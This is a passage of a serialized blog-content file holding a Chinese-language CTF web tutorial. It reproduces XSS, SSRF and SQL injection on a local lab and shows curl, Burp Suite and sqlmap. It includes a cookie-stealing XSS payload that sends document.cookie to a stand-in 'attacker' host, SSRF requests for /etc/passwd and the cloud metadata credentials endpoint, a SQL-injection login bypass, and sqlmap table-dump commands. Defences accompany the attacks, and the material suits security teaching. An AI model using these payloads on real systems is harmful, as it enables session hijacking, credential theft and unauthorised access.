\"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[30,12672,12673],{"__ignoreMap":28},[33,12674,12675,12677,12679,12682],{"class":35,"line":36},[33,12676,4482],{"class":39},[33,12678,4485],{"class":412},[33,12680,12681],{"class":43},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[33,12683,4491],{"class":412},[16,12685,298],{},[23,12687,12689],{"className":5861,"code":12688,"language":5863,"meta":28,"style":28},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[30,12690,12691,12696,12705,12718,12727],{"__ignoreMap":28},[33,12692,12693],{"class":35,"line":36},[33,12694,12695],{"class":63},"你好，\n",[33,12697,12698,12700,12703],{"class":35,"line":47},[33,12699,5870],{"class":63},[33,12701,12702],{"class":56},"script",[33,12704,67],{"class":63},[33,12706,12707,12710,12713,12715],{"class":35,"line":70},[33,12708,12709],{"class":39},"  alert",[33,12711,12712],{"class":63},"(",[33,12714,5507],{"class":241},[33,12716,12717],{"class":63},")\n",[33,12719,12720,12723,12725],{"class":35,"line":80},[33,12721,12722],{"class":63},"\u003C/",[33,12724,12702],{"class":56},[33,12726,67],{"class":63},[33,12728,12729],{"class":35,"line":452},[33,12730,12731],{"class":63},"！\n",[16,12733,12734,12735,12737,12738,12740],{},"浏览器会把 ",[30,12736,12618],{}," 当作代码执行。",[30,12739,4482],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[147,12742,12744],{"id":12743},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[16,12746,12747],{},"攻击者构造 URL：",[23,12749,12751],{"className":5861,"code":12750,"language":5863,"meta":28,"style":28},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[30,12752,12753,12758,12766,12787],{"__ignoreMap":28},[33,12754,12755],{"class":35,"line":36},[33,12756,12757],{"class":63},"http://127.0.0.1:8000/xss.php?name=\n",[33,12759,12760,12762,12764],{"class":35,"line":47},[33,12761,5870],{"class":63},[33,12763,12702],{"class":56},[33,12765,67],{"class":63},[33,12767,12768,12771,12773,12776,12779,12781,12784],{"class":35,"line":70},[33,12769,12770],{"class":39},"  fetch",[33,12772,12712],{"class":63},[33,12774,12775],{"class":412},"'",[33,12777,12778],{"class":43},"http://attacker/?c=",[33,12780,12775],{"class":412},[33,12782,12783],{"class":56}," +",[33,12785,12786],{"class":63}," document.cookie)\n",[33,12788,12789,12791,12793],{"class":35,"line":80},[33,12790,12722],{"class":63},[33,12792,12702],{"class":56},[33,12794,67],{"class":63},[16,12796,12797,12798,12801],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[30,12799,12800],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[147,12803,12805],{"id":12804},"_45-防御输出编码","4.5 防御：输出编码",[16,12807,12808],{},"输出前把危险字符转义：",[490,12810,12811,12821],{},[493,12812,12813],{},[496,12814,12815,12818],{},[499,12816,12817],{},"原始字符",[499,12819,12820],{},"转义后",[506,12822,12823,12834,12846,12857,12868],{},[496,12824,12825,12829],{},[511,12826,12827],{},[30,12828,5870],{},[511,12830,12831],{},[30,12832,12833],{},"&lt;",[496,12835,12836,12841],{},[511,12837,12838],{},[30,12839,12840],{},">",[511,12842,12843],{},[30,12844,12845],{},"&gt;",[496,12847,12848,12852],{},[511,12849,12850],{},[30,12851,5125],{},[511,12853,12854],{},[30,12855,12856],{},"&quot;",[496,12858,12859,12863],{},[511,12860,12861],{},[30,12862,12775],{},[511,12864,12865],{},[30,12866,12867],{},"&#39;",[496,12869,12870,12875],{},[511,12871,12872],{},[30,12873,12874],{},"&",[511,12876,12877],{},[30,12878,12879],{},"&amp;",[16,12881,12882,12883,12886],{},"PHP 用 ",[30,12884,12885],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[11,12888,12890],{"id":12889},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[16,12892,12893,12895],{},[136,12894,138],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[16,12897,12898,561,12900,12903,12904,12907,12908,12911,12912,12915,12916,12919],{},[136,12899,144],{},[30,12901,12902],{},"file_get_contents($url)"," 会按 ",[30,12905,12906],{},"$url"," 的协议去读内容。协议决定能力：",[30,12909,12910],{},"file://"," 读本地文件，",[30,12913,12914],{},"http://"," 访问内网，",[30,12917,12918],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[147,12921,12923],{"id":12922},"_51-平台与代码","5.1 平台与代码",[16,12925,12926,12927,561],{},"具有\"URL 处理\"功能的应用。示例 ",[30,12928,12929],{},"ssrf.php",[23,12931,12933],{"className":4249,"code":12932,"language":4251,"meta":28,"style":28},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[30,12934,12935,12939,12944,12949,12954,12959],{"__ignoreMap":28},[33,12936,12937],{"class":35,"line":36},[33,12938,4395],{},[33,12940,12941],{"class":35,"line":47},[33,12942,12943],{},"echo file_get_contents($_GET['url']);\n",[33,12945,12946],{"class":35,"line":70},[33,12947,12948],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[33,12950,12951],{"class":35,"line":80},[33,12952,12953],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[33,12955,12956],{"class":35,"line":452},[33,12957,12958],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[33,12960,12961],{"class":35,"line":458},[33,12962,4433],{},[147,12964,12966],{"id":12965},"_52-读本地文件","5.2 读本地文件",[23,12968,12970],{"className":25,"code":12969,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[30,12971,12972,12983,12988,12993],{"__ignoreMap":28},[33,12973,12974,12976,12978,12981],{"class":35,"line":36},[33,12975,4482],{"class":39},[33,12977,4485],{"class":412},[33,12979,12980],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[33,12982,4491],{"class":412},[33,12984,12985],{"class":35,"line":47},[33,12986,12987],{"class":1576},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[33,12989,12990],{"class":35,"line":70},[33,12991,12992],{"class":1576},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[33,12994,12995],{"class":35,"line":80},[33,12996,12997],{"class":1576},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[16,12999,169],{},[23,13001,13004],{"className":13002,"code":13003,"language":175,"meta":28},[173],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[30,13005,13003],{"__ignoreMap":28},[147,13007,13009],{"id":13008},"_53-探测内网端口","5.3 探测内网端口",[23,13011,13013],{"className":25,"code":13012,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[30,13014,13015,13026,13031,13036],{"__ignoreMap":28},[33,13016,13017,13019,13021,13024],{"class":35,"line":36},[33,13018,4482],{"class":39},[33,13020,4485],{"class":412},[33,13022,13023],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[33,13025,4491],{"class":412},[33,13027,13028],{"class":35,"line":47},[33,13029,13030],{"class":1576},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[33,13032,13033],{"class":35,"line":70},[33,13034,13035],{"class":1576},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[33,13037,13038],{"class":35,"line":80},[33,13039,13040],{"class":1576},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[16,13042,13043],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[147,13045,13047],{"id":13046},"_54-访问云元数据","5.4 访问云元数据",[23,13049,13051],{"className":25,"code":13050,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[30,13052,13053,13064,13069,13074],{"__ignoreMap":28},[33,13054,13055,13057,13059,13062],{"class":35,"line":36},[33,13056,4482],{"class":39},[33,13058,4485],{"class":412},[33,13060,13061],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[33,13063,4491],{"class":412},[33,13065,13066],{"class":35,"line":47},[33,13067,13068],{"class":1576},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[33,13070,13071],{"class":35,"line":70},[33,13072,13073],{"class":1576},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[33,13075,13076],{"class":35,"line":80},[33,13077,13078],{"class":1576},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[16,13080,13081],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[147,13083,13085],{"id":13084},"_55-防御","5.5 防御",[23,13087,13089],{"className":4249,"code":13088,"language":4251,"meta":28,"style":28},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[30,13090,13091,13096,13101,13106],{"__ignoreMap":28},[33,13092,13093],{"class":35,"line":36},[33,13094,13095],{},"$allowed = ['https', 'http'];\n",[33,13097,13098],{"class":35,"line":47},[33,13099,13100],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[33,13102,13103],{"class":35,"line":70},[33,13104,13105],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[33,13107,13108],{"class":35,"line":80},[33,13109,13110],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[11,13112,13114],{"id":13113},"六必学工具-1curl","六、必学工具 1：curl",[16,13116,13117],{},"三个核心功能，逐个演示。",[16,13119,13120],{},"功能 1：带参数 GET。",[23,13122,13123],{"className":25,"code":4475,"language":27,"meta":28,"style":28},[30,13124,13125],{"__ignoreMap":28},[33,13126,13127,13129,13131,13133],{"class":35,"line":36},[33,13128,4482],{"class":39},[33,13130,4485],{"class":412},[33,13132,4488],{"class":43},[33,13134,4491],{"class":412},[16,13136,298,13137,301],{},[30,13138,4565],{},[16,13140,13141,13142,8662],{},"功能 2：查看完整请求与响应（",[30,13143,11823],{},[23,13145,13147],{"className":25,"code":13146,"language":27,"meta":28,"style":28},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[30,13148,13149,13161,13166,13171],{"__ignoreMap":28},[33,13150,13151,13153,13155,13157,13159],{"class":35,"line":36},[33,13152,4482],{"class":39},[33,13154,11811],{"class":241},[33,13156,4485],{"class":412},[33,13158,4488],{"class":43},[33,13160,4491],{"class":412},[33,13162,13163],{"class":35,"line":47},[33,13164,13165],{"class":1576},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[33,13167,13168],{"class":35,"line":70},[33,13169,13170],{"class":1576},"# \u003C 开头是响应行与响应头，最后是正文。\n",[33,13172,13173],{"class":35,"line":80},[33,13174,13175],{"class":1576},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[16,13177,13178,13179,13181,13182,13184],{},"输出中 ",[30,13180,12840],{}," 开头的是请求，",[30,13183,5870],{}," 开头的是响应，最下面是正文。",[16,13186,13187,13188,8662],{},"功能 3：POST 数据（",[30,13189,13190],{},"-d",[23,13192,13194],{"className":25,"code":13193,"language":27,"meta":28,"style":28},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[30,13195,13196],{"__ignoreMap":28},[33,13197,13198,13200,13203,13206,13208,13211,13213,13215,13217,13220],{"class":35,"line":36},[33,13199,4482],{"class":39},[33,13201,13202],{"class":241}," -X",[33,13204,13205],{"class":43}," POST",[33,13207,4485],{"class":412},[33,13209,13210],{"class":43},"http://127.0.0.1:8000/login.php",[33,13212,5125],{"class":412},[33,13214,368],{"class":241},[33,13216,4485],{"class":412},[33,13218,13219],{"class":43},"username=admin&password=123",[33,13221,4491],{"class":412},[16,13223,13224],{},"用于登录、上传等需要 POST 的场景。",[11,13226,13228],{"id":13227},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[16,13230,13231],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[490,13233,13234,13247],{},[493,13235,13236],{},[496,13237,13238,13241,13244],{},[499,13239,13240],{},"模块",[499,13242,13243],{},"用途",[499,13245,13246],{},"操作步骤",[506,13248,13249,13264,13275],{},[496,13250,13251,13254,13257],{},[511,13252,13253],{},"Proxy",[511,13255,13256],{},"拦截请求",[511,13258,13259,13260,13263],{},"浏览器设置代理 ",[30,13261,13262],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[496,13265,13266,13269,13272],{},[511,13267,13268],{},"Repeater",[511,13270,13271],{},"手工重放",[511,13273,13274],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[496,13276,13277,13280,13283],{},[511,13278,13279],{},"Intruder",[511,13281,13282],{},"自动化遍历",[511,13284,13285],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[16,13287,13288],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[11,13290,13292],{"id":13291},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[16,13294,13295],{},"SQL 注入自动化工具。三个核心命令：",[16,13297,13298],{},"命令 1：检测。",[23,13300,13301],{"className":25,"code":5108,"language":27,"meta":28,"style":28},[30,13302,13303],{"__ignoreMap":28},[33,13304,13305,13307,13309,13311,13313,13315],{"class":35,"line":36},[33,13306,5115],{"class":39},[33,13308,5118],{"class":241},[33,13310,4485],{"class":412},[33,13312,4488],{"class":43},[33,13314,5125],{"class":412},[33,13316,5128],{"class":241},[16,13318,422],{},[23,13320,13322],{"className":13321,"code":5134,"language":175,"meta":28},[173],[30,13323,5134],{"__ignoreMap":28},[16,13325,13326],{},"命令 2：列数据库。",[23,13328,13329],{"className":25,"code":5143,"language":27,"meta":28,"style":28},[30,13330,13331],{"__ignoreMap":28},[33,13332,13333,13335,13337,13339,13341,13343],{"class":35,"line":36},[33,13334,5115],{"class":39},[33,13336,5118],{"class":241},[33,13338,4485],{"class":412},[33,13340,4488],{"class":43},[33,13342,5125],{"class":412},[33,13344,5160],{"class":241},[16,13346,13347,13348,301],{},"预期输出：数据库列表，包含 ",[30,13349,1370],{},[16,13351,13352],{},"命令 3：导出数据。",[23,13354,13355],{"className":25,"code":5172,"language":27,"meta":28,"style":28},[30,13356,13357],{"__ignoreMap":28},[33,13358,13359,13361,13363,13365,13367,13369,13371,13373,13375,13377],{"class":35,"line":36},[33,13360,5115],{"class":39},[33,13362,5118],{"class":241},[33,13364,4485],{"class":412},[33,13366,4488],{"class":43},[33,13368,5125],{"class":412},[33,13370,5189],{"class":241},[33,13372,5192],{"class":43},[33,13374,5195],{"class":241},[33,13376,5198],{"class":43},[33,13378,5201],{"class":241},[16,13380,169,13381,13383,13384,301],{},[30,13382,2306],{}," 表内容，即 ",[30,13385,4835],{},[11,13387,13389],{"id":13388},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[16,13391,13392,13393,13396],{},"题目：登录页 ",[30,13394,13395],{},"login.php","，源码：",[23,13398,13400],{"className":4249,"code":13399,"language":4251,"meta":28,"style":28},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[30,13401,13402,13407,13412],{"__ignoreMap":28},[33,13403,13404],{"class":35,"line":36},[33,13405,13406],{},"$user = $_POST['user'];\n",[33,13408,13409],{"class":35,"line":47},[33,13410,13411],{},"$pass = $_POST['pass'];\n",[33,13413,13414],{"class":35,"line":70},[33,13415,13416],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[147,13418,13420],{"id":13419},"第一步正常登录失败","第一步：正常登录失败",[16,13422,13423,13425],{},[136,13424,138],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[23,13427,13429],{"className":25,"code":13428,"language":27,"meta":28,"style":28},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[30,13430,13431],{"__ignoreMap":28},[33,13432,13433,13435,13437,13439,13441,13444,13446,13449,13451,13454],{"class":35,"line":36},[33,13434,4482],{"class":39},[33,13436,13202],{"class":241},[33,13438,13205],{"class":43},[33,13440,4485],{"class":412},[33,13442,13443],{"class":43},"http://target/login.php",[33,13445,5125],{"class":412},[33,13447,13448],{"class":241}," --data",[33,13450,4485],{"class":412},[33,13452,13453],{"class":43},"user=admin&pass=wrong",[33,13455,4491],{"class":412},[16,13457,298,13458,301],{},[30,13459,13460],{},"Login failed",[147,13462,13464],{"id":13463},"第二步构造绕过","第二步：构造绕过",[16,13466,13467,13469,13470,13473],{},[136,13468,144],{},"：观察源码 ",[30,13471,13472],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[16,13475,13476,13478,13479,13481,13482,264,13485,13488,13489,2870,13491,8662],{},[136,13477,648],{},"：发送 payload 后看是否从 ",[30,13480,13460],{}," 变成成功页面；若失败，尝试 ",[30,13483,13484],{},"admin'#",[30,13486,13487],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[30,13490,12559],{},[30,13492,13493],{},"#",[16,13495,153],{},[23,13497,13499],{"className":25,"code":13498,"language":27,"meta":28,"style":28},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[30,13500,13501],{"__ignoreMap":28},[33,13502,13503,13505,13507,13509,13511,13513,13515,13517,13519,13522],{"class":35,"line":36},[33,13504,4482],{"class":39},[33,13506,13202],{"class":241},[33,13508,13205],{"class":43},[33,13510,4485],{"class":412},[33,13512,13443],{"class":43},[33,13514,5125],{"class":412},[33,13516,13448],{"class":241},[33,13518,4485],{"class":412},[33,13520,13521],{"class":43},"user=admin'--+&pass=wrong",[33,13523,4491],{"class":412},[16,13525,13526],{},"实际执行的 SQL：",[23,13528,13530],{"className":4276,"code":13529,"language":4278,"meta":28,"style":28},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[30,13531,13532],{"__ignoreMap":28},[33,13533,13534],{"class":35,"line":36},[33,13535,13529],{},[16,13537,13538,13540,13541,13544],{},[30,13539,12559],{}," 注释掉密码部分。预期输出：",[30,13542,13543],{},"Login success"," 和 flag。",[16,13546,13547,13550,13551,13554,13555,13558],{},[136,13548,13549],{},"为什么能成功","：数据库中确实存在 ",[30,13552,13553],{},"admin"," 用户，查询 ",[30,13556,13557],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[147,13560,13562],{"id":13561},"第三步sqlmap-验证","第三步：sqlmap 验证",[16,13564,13565,13567],{},[136,13566,138],{},"：用工具确认手工结论，同时自动探测其他注入点。",[23,13569,13571],{"className":25,"code":13570,"language":27,"meta":28,"style":28},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[30,13572,13573,13596,13601,13606],{"__ignoreMap":28},[33,13574,13575,13577,13579,13581,13583,13585,13587,13589,13592,13594],{"class":35,"line":36},[33,13576,5115],{"class":39},[33,13578,5118],{"class":241},[33,13580,4485],{"class":412},[33,13582,13443],{"class":43},[33,13584,5125],{"class":412},[33,13586,13448],{"class":241},[33,13588,4485],{"class":412},[33,13590,13591],{"class":43},"user=a&pass=b",[33,13593,5125],{"class":412},[33,13595,5128],{"class":241},[33,13597,13598],{"class":35,"line":47},[33,13599,13600],{"class":1576},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[33,13602,13603],{"class":35,"line":70},[33,13604,13605],{"class":1576},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[33,13607,13608],{"class":35,"line":80},[33,13609,13610],{"class":1576},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[16,13612,13613,13614,13617],{},"预期输出：报告 ",[30,13615,13616],{},"Parameter: user (POST)"," 存在注入。",[11,13619,2224],{"id":2223},[16,13621,13622],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1350,13624,13625],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":13627},[13628,13629,13630,13631,13632,13633,13634,13635,13636,13637],{"id":11795,"depth":70,"text":11796},{"id":11903,"depth":70,"text":11904},{"id":12001,"depth":70,"text":12002},{"id":12596,"depth":70,"text":12597},{"id":12889,"depth":70,"text":12890},{"id":13113,"depth":70,"text":13114},{"id":13227,"depth":70,"text":13228},{"id":13291,"depth":70,"text":13292},{"id":13388,"depth":70,"text":13389},{"id":2223,"depth":70,"text":2224},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1366,"image":13640,"alt":13641,"tags":13642,"published":1373},"/blogs-img/blog9.png","CTF Web 入门",[1370,5635,1372],"/blogs/ctf-web-overview",{"title":11790,"description":13638},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796568296]